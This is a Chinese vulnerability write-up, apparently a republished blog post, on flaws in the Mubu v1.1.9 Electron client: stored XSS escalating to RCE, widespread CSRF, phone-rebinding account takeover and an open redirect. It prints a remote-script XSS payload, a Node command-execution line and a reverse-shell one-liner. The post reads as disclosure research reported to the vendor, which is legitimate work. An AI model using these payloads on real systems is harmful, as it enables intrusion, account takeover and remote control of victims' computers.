幕布V1.1.9最新版漏洞集合
0X00 前言
幕布本人最早接触是在P神的知识星球里面看到P神推荐的,后来下了个用着还挺好用。
之前一直都放一些零零散散的笔记,最近整理的时候,一时兴起,本着漏洞源于生活的态度,遂对幕布的安全性做了些研究。
0x01 背景
幕布是一款头脑管理工具,用更高效的方式和清晰的结构来记录笔记、管理任务、制定工作计划、头脑风暴。用最好的方式释放您的大脑!
令人觉得舒服的是,就算是免费版也支持多平台同步,相对比其他软件这个很良心了,还支持多种格式导出,支持脑图演示。
0x02 前世
早在17年,栋栋的栋师傅就对幕布的1.1.0版本进行了研究,发现了多个CSRF,如保存文档,创建文件夹等。搜索框反射XSS,文件夹名XSS,文档名称XSS(在查看思维导图的时候触发),昵称存储XSS等。
由于幕布使用Electron来开发,导致我们只要一个XSS即可执行任意命令。
根据栋师傅的文章,我测了一下,发现现阶段1.1.9版本的搜索框XSS依旧可行。
同样文件夹名的存储XSS也是存在的,点击文件夹即可触发
文档名XSS(在查看脑图的时候触发)这个已经修复了。
XSS到RCE其攻击链如下:
0X03 今生
基于上面的了解,我知道幕布应该有多个功能点存在CSRF和XSS,找到漏洞并不难,难的是找到一个较为完美的利用链。
栋师傅的分享文档,昵称XSS,创建文档然后脑图查看触发,我感觉这个利用链有点复杂,且PAYLOAD过于明显。
经过一番思考,觉得攻击点还是应该放在分享文档页面中,这里是与别人交互的唯一入口(目前来说)。
分享文档页面中包括了什么呢?
经测试,头像处做了过滤,昵称的XSS也已经修复了,目标放到标题和正文。
标题一番测试之后也是过滤了,那么只有正文了,为了更好的测试,特地开了一个月的高级会员,高级会员可以插入图片,想通过图片文件名的方式引入XSS,但发现被过滤了。
中间还测了幕布的标签,但没有效果。(留待白盒审计其解释原理)
不放弃,继续研究,看到保存文档的请求包
会发现有一个叫id的参数,回到页面,F12检查,发现这个id值是作为id属性的值,作为节点解析使用。
直觉告诉我这里应该会有问题。闭合双引号,div标签,弹个框试一下。
好的,成功弹框了。
但是弹完之后,正文把后面错乱的标签代码显示出来了。
后面要做的就是把PAYLAOD完善,不让错乱代码显示出来,让这个插入了恶意代码的文档表现的像一个正常文档一样。
而且这里的触发点堪称完美,只需要用户打开文档,减少触发的步骤。
通过分享文档或者投稿到精选,其他用户登陆状态下浏览,然后触发XSS,直到在客户端查看触发RCE。
这里有一个问题是分享链接都是公开的,别人不需要登陆即可查看,但为了能够利用,我们必须让用户登陆;
还有一个问题是用户在PC的客户端里面没办法直接查看精选页面和分享页面,默认是通过PC浏览器打开页面的。(PS:通过PC客户端的”幕布精选”菜单访问的话,会自动登陆上账号,这里还有一个任意URL跳转的问题)
那么是否可以达到用户点击链接,就能够直接触发RCE呢?
因为这里存在跨端的问题,从浏览器跨到幕布客户端,需要一个桥梁。我想到的桥梁是利用Custom URL Scheme来拉起幕布,让幕布去渲染这个带有XSS的文档然后触发RCE。
但逆向了一下幕布的源码,发现它没有注册相关的URl,所以这个思路行不通,但难免幕布后续更新会加入自己的URL Scheme。
现阶段只能是通过”自动同步”这个桥梁,将我们的恶意文档带入到客户端中去,然后等待用户查看触发了,这个点是最为致命的点了。
根据现有状况,我的攻击思路如下:
被动方式:用户登陆态下,把我们这个“丰富”的文档保存到自己的账号下,在客户端查看时触发RCE。
主动方式:创建一个登陆页面的弹框,诱导用户登录,只允许其登陆之后访问分享文档。然后再利用XSS创建一个文档,等待用户在客户端查看。
总结一下其利用链如下:
当然这里是以RCE为目的,也可以XSS打账号密码等其他方式,那样就可以随时掌控用户的账号,查看其私密文档,创建恶意文档,等待其查看,触发RCE,控制目标电脑。
分析讲完了,下面是验证过程,首先我们需要让文档看起来是正常的,那么就不能像之前的PAYLOAD一样,得利用div标签的事件来触发。主要是onclick 和onmouseover事件。我这里用的是onmouseover事件。
" οnmοuseοver="s=createElement('script');body.appendChild(s);s.src='https://xsspt/xxx'
文档看起来就跟正常文档一样,触发的话需要用户鼠标悬浮在DIV上面。Web端有no-referrer-when-downgrade限制,需要使用https的JS。客户端则不用,最好直接用https的一了百了。
在windows客户端打开,弹个计算器
弹计算器的代码:
require('child_process').exec('calc.exe')
Mac客户端,反弹个shell
反弹shell的代码
var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect({set.port}, "{set.ip}", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});
关于electron rce 可以在查看这篇文章
0x04 番外
逻辑缺陷
绕过原手机号验证,绑定新手机号,接管帐号
修改手机号正常流程是需要原手机号的验证码验证的
但我们正常走一遍流程,把绑定新手机号的请求抓出来会发现,根本不需要原手机号的验证码。
我们刚开始的手机号为132
第一步给要绑定的手机号发送验证码
第二部用获取的验证码请求绑定
刷新设置页面,会发现已经绑定成功了。
其中第一步任何其他用户发送即可,获取到验证码,然后创建一个页面,骗取目标用户去访问,利用CSRF攻击,接管其账号。
绕过微信验证,解绑微信
比如我们绑定了微信,就可以用微信登陆了,正常解绑微信是需要,微信验证一下的,但是我们发现把解绑微信的请求抓出来,直接就可以解绑了,且存在CSRF。
正常流程来说是这样走的。
抓到解绑微信的请求如下:
然后发一下包就可以解绑微信了
刷新设置页面,发现已经解绑成功了
至于绑定微信,需要获取state参数,需要发送请求,只能是XSS来利用了,所以有了XSS,我就可以获取这个state参数,自己构造参数绑定微信到目标用户账号上。
任意URL跳转
主要是客户端幕布精选跳转到浏览器里面自动登陆的请求:
在客户端点击”幕布精选”菜单,抓到这样的请求:
https://mubu.com/client_redirect?token=xxx&next=/explore
其中next这个可以填写我们自己的第三方链接,token正确与否不要紧,甚至去掉这个参数都会跳转。
CSRF (所见之处皆可CSRF)
设置昵称
设置昵称的请求为POST请求:
但修改为GET请求,一样可以。
经测试原来所有修改,添加,更新操作为POST的请求,都可以用GET请求来发送。
创建文档
这里只可以用来创建一个空的文档,创建一个有内容的文档需要经过几个步骤,需要有XSS才能创建有内容的文档。
绑定手机号
解邦微信
0x05 总结
这篇文章记录了对幕布安全性的研究和一些攻击思路,上述所有漏洞均已报备幕布官方,请勿用作非法攻击。
有些图看不太清,放个原版文档链接
博客占坑~
转载于:https://www.cnblogs.com/r00tuser/p/10753632.html
幕布V1.1.9最新版漏洞集合相关推荐
- 2023 HW 必修高危漏洞集合
2023 HW 必修高危漏洞集合 1 前言 2 漏洞汇总数据 反序列化 逻辑漏洞 命令执行 其他 3 自查高危详情 3.1泛微 e-cology9 FileDownloadForOutDoc SQL ...
- 【安全漏洞】Struts2漏洞集合总结
Struts2 漏洞集合 总结了一部分 Strtus2 漏洞,虽然现在这部分的漏洞很少了,但也是学习的一部分,收集的并不全面,后续会做补充. 漏洞环境搭建可以使用在线的 Vulfocus ,或者使用d ...
- Dedecms 最新版漏洞收集并复现学习
Dedecms 最新版漏洞收集并复现学习 以下漏洞复现均处于最新版dedecms即V5.7 SP2(当然从18年开始就已经没有更新了,应该是没有人维护了).下载可以直接在官网下载. 1. 前台任意用户 ...
- 用友OA/NC/NCCloud漏洞集合
目录 0x01声明 0x02漏洞集合 web.xml prop.xml(数据库配置) 任意文件读取 bsh.servlet.BshServlet 远程命令执行漏洞 用友 NCCloud FS 文件管理 ...
- 【网络游戏§绿色DOTA2魔笛V1.001 官方最新版§DOTA游戏辅助工具§】
[网络游戏§绿色DOTA2魔笛V1.001 官方最新版§DOTA游戏辅助工具§] 软件大小:11.53MB 软件语言:简体中文 软件授权:免费软件 更新时间:2013-06-19 01:27:40 应 ...
- 熊海CMS 1.0代码审计漏洞集合
目录 SQL注入 注入1 注入2 注入3 cookie注入 注入5 XSS 反射型xss1 存储型xss2 反射型xss3 反射型xss4 存储型xss5 文件包含 越权登录 熊海CMS是由熊海开发的 ...
- thinkcmfx漏洞太大_thinkcmf漏洞集合
thinkcmf漏洞集合 在先知逛的时候看到的的,后面发现是thinkcmf 翻了一下自己的漏洞库对比了一下版本发现,泡泡大佬这里看的是1.6版本的,而官方最后的版本 2.2.3 所以做一下漏洞补充. ...
- Struts2 漏洞集合
Struts2 漏洞集合 总结了一部分 Strtus2 漏洞,虽然现在这部分的漏洞很少了,但也是学习的一部分,收集的并不全面,后续会做补充. 漏洞环境搭建可以使用在线的 Vulfocus ,或者使用d ...
- FineCMS 5 0 10漏洞集合
分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow 也欢迎大家转载本篇文章.分享知识,造福人民,实现我们中华民族伟大复兴! 笔记地址 ...
最新文章
- tcp retransmission 出现的原因_为什么 TCP 会被 UDP 取代?
- powerbi输入数据_Power BI 的多种共享方式
- [platform]linux platform device/driver(三)--Platform Device和Platform_driver注册过程之代码对比...
- php验证旧密码,PHP最佳实践之过滤、验证、转义和密码
- ubuntu下安装vmtool
- UnityShader28:噪声纹理
- 中基协会长洪磊:尽快制定大类资产配置管理办法 推非保本理财转型
- 《离职申请表》交了后 在公司最后一天上班
- 达梦数据库的替代(instead of )触发器使用一例
- Android 天气APP(九)细节优化、必应每日一图
- 基于宜搭的《T恤尺码收集》应用搭建最佳实践
- [转]真核生物预测软件
- IDEA快捷键CTRL+ALT+L格式化失效
- PLSQL连接Oracle:ORA-12154: TNS: 无法解析指定的连接标识符
- Java实现调用摄像头拍照
- 1032. 挖掘机技术哪家强
- 深度学习——Noisier2Noise
- 爆肝5万字❤️Open3D 点云数据处理基础(Python版)
- css动画效果 transform transition @keyframes animation 涉及jquery
- m序列代码c语言,m序列的生成--闲来无事写代码